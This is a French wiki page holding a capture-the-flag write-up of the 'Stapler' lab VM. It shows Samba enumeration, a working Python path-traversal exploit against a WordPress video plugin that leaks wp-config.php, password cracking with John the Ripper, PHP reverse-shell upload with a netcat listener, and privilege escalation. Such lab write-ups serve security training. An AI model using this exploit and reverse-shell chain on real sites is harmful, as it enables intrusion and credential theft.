Ci-dessous, les différences entre deux révisions de la page.
— |
vm:stapler [2017/03/30 15:08] (Version actuelle) arkinar créée |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | **Stapler - Write Up** | ||
+ | __Reconnaissance__ | ||
+ | |||
+ | <code bash> | ||
+ | nmap -sS -A 192.168.43.28 | ||
+ | |||
+ | port 21 vsftpd 2.0.8 | ||
+ | anonymous login allowed | ||
+ | |||
+ | port 22 ssh | ||
+ | port 53 dnsmasq 2.75 | ||
+ | port 80 http | ||
+ | port 139 netbios-ssn Samba smbd 3.X workgroup RED | ||
+ | port 666 doom? | ||
+ | port 3306 mysql 5.7.12 | ||
+ | port 12380 http | ||
+ | </code> | ||
+ | |||
+ | __Exploitation Samba__ | ||
+ | |||
+ | On commence par lister les partages disponibles sur le samba : | ||
+ | <code bash> | ||
+ | smbclient -L 192.168.43.28 | ||
+ | |||
+ | Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu] | ||
+ | |||
+ | Sharename Type Comment | ||
+ | --------- ---- ------- | ||
+ | print$ Disk Printer Drivers | ||
+ | kathy Disk Fred, What are we doing here? | ||
+ | tmp Disk All temporary files should be stored here | ||
+ | IPC$ IPC IPC Service (red server (Samba, Ubuntu)) | ||
+ | Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu] | ||
+ | |||
+ | Server Comment | ||
+ | --------- ------- | ||
+ | RED red server (Samba, Ubuntu) | ||
+ | |||
+ | Workgroup Master | ||
+ | --------- ------- | ||
+ | WORKGROUP RED | ||
+ | </code> | ||
+ | |||
+ | On liste les fichiers présent dans le partage kathy : | ||
+ | <code bash> | ||
+ | smbclient \\\\192.168.43.28\\kathy | ||
+ | smb: \> dir | ||
+ | . D 0 Fri Jun 3 18:52:52 2016 | ||
+ | .. D 0 Mon Jun 6 23:39:56 2016 | ||
+ | kathy_stuff D 0 Sun Jun 5 17:02:27 2016 | ||
+ | backup D 0 Sun Jun 5 17:04:14 2016 | ||
+ | |||
+ | \kathy_stuff | ||
+ | . D 0 Sun Jun 5 17:02:27 2016 | ||
+ | .. D 0 Fri Jun 3 18:52:52 2016 | ||
+ | todo-list.txt N 64 Sun Jun 5 17:02:27 2016 | ||
+ | |||
+ | \backup | ||
+ | . D 0 Sun Jun 5 17:04:14 2016 | ||
+ | .. D 0 Fri Jun 3 18:52:52 2016 | ||
+ | vsftpd.conf N 5961 Sun Jun 5 17:03:45 2016 | ||
+ | wordpress-4.tar.gz N 6321767 Mon Apr 27 19:14:46 2015 | ||
+ | </code> | ||
+ | |||
+ | On récupère le contenu de backup : | ||
+ | <code bash> | ||
+ | smb: \> mget backup\ | ||
+ | getting file \backup\vsftpd.conf of size 5961 as vsftpd.conf (727,7 KiloBytes/sec) (average 727,7 KiloBytes/sec) | ||
+ | getting file \backup\wordpress-4.tar.gz of size 6321767 as wordpress-4.tar.gz (22449,4 KiloBytes/sec) (average 21835,4 KiloBytes/sec) | ||
+ | smb: \> | ||
+ | </code> | ||
+ | |||
+ | __Exploitation web__ | ||
+ | |||
+ | Dans le fichier robots.txt : | ||
+ | <code> | ||
+ | User-agent: * | ||
+ | Disallow: /admin112233/ | ||
+ | Disallow: /blogblog/ | ||
+ | </code> | ||
+ | |||
+ | Un wordpress est disponible dans le dossier : | ||
+ | <code bash> | ||
+ | http://192.168.43.28:12380/blogblog/ | ||
+ | </code> | ||
+ | |||
+ | {{ :vm:wordpress_stapler.png?nolink |}} | ||
+ | |||
+ | Avec l'outil wpscan on obtient les informations suivantes : | ||
+ | - Tourne sur Wordpress 4.2.1 | ||
+ | - Le plugin advanced video faillible | ||
+ | |||
+ | En cherchant un peut sur exploit-db on trouver cet [[https://www.exploit-db.com/exploits/39646/ | exploit]]. | ||
+ | |||
+ | Il permet de récupérer le fichier wp-config.php dans une image | ||
+ | |||
+ | |||
+ | On le modifie pour notre usage : | ||
+ | <file python exploit.py> | ||
+ | import ssl | ||
+ | import random | ||
+ | import urllib2 | ||
+ | import re | ||
+ | ssl._create_default_https_context = ssl._create_unverified_context | ||
+ | url = "https://192.168.43.28:12380/blogblog" # insert url to wordpress | ||
+ | |||
+ | randomID = long(random.random() * 100000000000000000L) | ||
+ | |||
+ | objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php') | ||
+ | content = objHtml.readlines() | ||
+ | for line in content: | ||
+ | numbers = re.findall(r'\d+',line) | ||
+ | id = numbers[-1] | ||
+ | id = int(id) / 10 | ||
+ | |||
+ | objHtml = urllib2.urlopen(url + '/?p=' + str(id)) | ||
+ | content = objHtml.readlines() | ||
+ | |||
+ | for line in content: | ||
+ | if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line: | ||
+ | urls=re.findall('"(https?://.*?)"', line) | ||
+ | print urllib2.urlopen(urls[0]).read() | ||
+ | |||
+ | </file> | ||
+ | |||
+ | Une fois exécuté , l'image est disponible dans le wp-content/uploads. | ||
+ | |||
+ | On la récupère : | ||
+ | <code bash> | ||
+ | wget https://192.168.43.28:12380/blogblog/wp-content/uploads/1505311909.jpeg --no-check-certificate | ||
+ | </code> | ||
+ | |||
+ | |||
+ | <file php wp-config.php> | ||
+ | /** MySQL database username */ | ||
+ | define('DB_USER', 'root'); | ||
+ | |||
+ | /** MySQL database password */ | ||
+ | define('DB_PASSWORD', 'plbkac'); | ||
+ | </file> | ||
+ | |||
+ | On se connecte directement à la base de donnée avec l'outil : heidisql | ||
+ | |||
+ | {{ :vm:heidisql_stapler.png?nolink |}} | ||
+ | |||
+ | On créé un nouvel utilisateur , on chiffre sont mot de passe en md5 | ||
+ | |||
+ | {{ :vm:heidisql_stapler2.png?nolink |}} | ||
+ | |||
+ | Dans les wp_usermeta on modifie la ligne wp_capabilities pour être admin : | ||
+ | |||
+ | <code> | ||
+ | wp_capabilities a:1:{s:13:"administrator";b:1;} | ||
+ | </code> | ||
+ | |||
+ | On peut casser les autres mot de passes : | ||
+ | <code bash> | ||
+ | ./john --wordlist=~/outils/wordlist/rockyou.txt ~/vulnhub/Stapler/cred | ||
+ | Using default input encoding: UTF-8 | ||
+ | Loaded 16 password hashes with 16 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3]) | ||
+ | Will run 8 OpenMP threads | ||
+ | Press 'q' or Ctrl-C to abort, almost any other key for status | ||
+ | cookie (scott) | ||
+ | coolgirl (kathy) | ||
+ | monkey (harry) | ||
+ | football (garry) | ||
+ | washere (barry) | ||
+ | incorrect (John) | ||
+ | thumb (tim) | ||
+ | 0520 (Pam) | ||
+ | </code> | ||
+ | |||
+ | Pour mettre notre reverse shell sur le serveur : | ||
+ | Dans l'onglet plugin on met : new | ||
+ | |||
+ | On upload notre reverseshell.php -> il s'upload dans le dossier upload mais il n'est pas installé comme plugin | ||
+ | |||
+ | Pour y accéder https://192.168.43.28:12380/blogblog/wp-content/uploads/php-reverse-shell.php | ||
+ | |||
+ | On ouvre un netcat en écoute en local : | ||
+ | <code bash> | ||
+ | nc -lvp 1234 | ||
+ | </code> | ||
+ | |||
+ | __Exploitation système & Élévation de privilège__ | ||
+ | |||
+ | On chercher un .bash_history accessible : | ||
+ | <code bash> | ||
+ | find -name ".bash_history" -exec cat {} \; | ||
+ | |||
+ | sshpass -p thisimypassword ssh JKanode@localhost | ||
+ | apt-get install sshpass | ||
+ | sshpass -p JZQuyIN5 peter@localhost | ||
+ | </code> | ||
+ | |||
+ | Super l'utilisateur à tapé son mot de passe en clair : **JZQuyIN5** | ||
+ | |||
+ | On se connecte en ssh avec l'user : peter | ||
+ | |||
+ | <code bash> | ||
+ | sudo -l | ||
+ | |||
+ | l'utilisateur appartient au groupe root | ||
+ | </code> | ||
+ | |||
+ | On affiche le flag : | ||
+ | |||
+ | <code bash> | ||
+ | cat flag.txt | ||
+ | ~~~~~~~~~~<(Congratulations)>~~~~~~~~~~ | ||
+ | .-'''''-. | ||
+ | |'-----'| | ||
+ | |-.....-| | ||
+ | | | | ||
+ | | | | ||
+ | _,._ | | | ||
+ | __.o` o`"-. | | | ||
+ | .-O o `"-.o O )_,._ | | | ||
+ | ( o O o )--.-"`O o"-.`'-----'` | ||
+ | '--------' ( o O o) | ||
+ | `----------` | ||
+ | b6b545dc11b7a270f4bad23432190c75162c4a2 | ||
+ | </code> | ||
+ | |||
+ | Pour finir complètement la vm , j'ai cassé les mots de passes des autres utilisateurs : | ||
+ | |||
+ | L'outil unshadow de la suite John The Ripper permet de préparer les mots de passes à cracker pour john. | ||
+ | <code bash> | ||
+ | unshadow passwd shadow > cred_a_crack | ||
+ | |||
+ | john cred_a_crack | ||
+ | </code> | ||
+ | |||
+ | Le résultat | ||
+ | <code> | ||
+ | password11 (SStroud) | ||
+ | 1password (CCeaser) | ||
+ | cookie (JBare) | ||
+ | letmein (MFrei) | ||
+ | qwerty (Drew) | ||
+ | red (jamie) | ||
+ | robrob (RNunemaker) | ||
+ | </code> |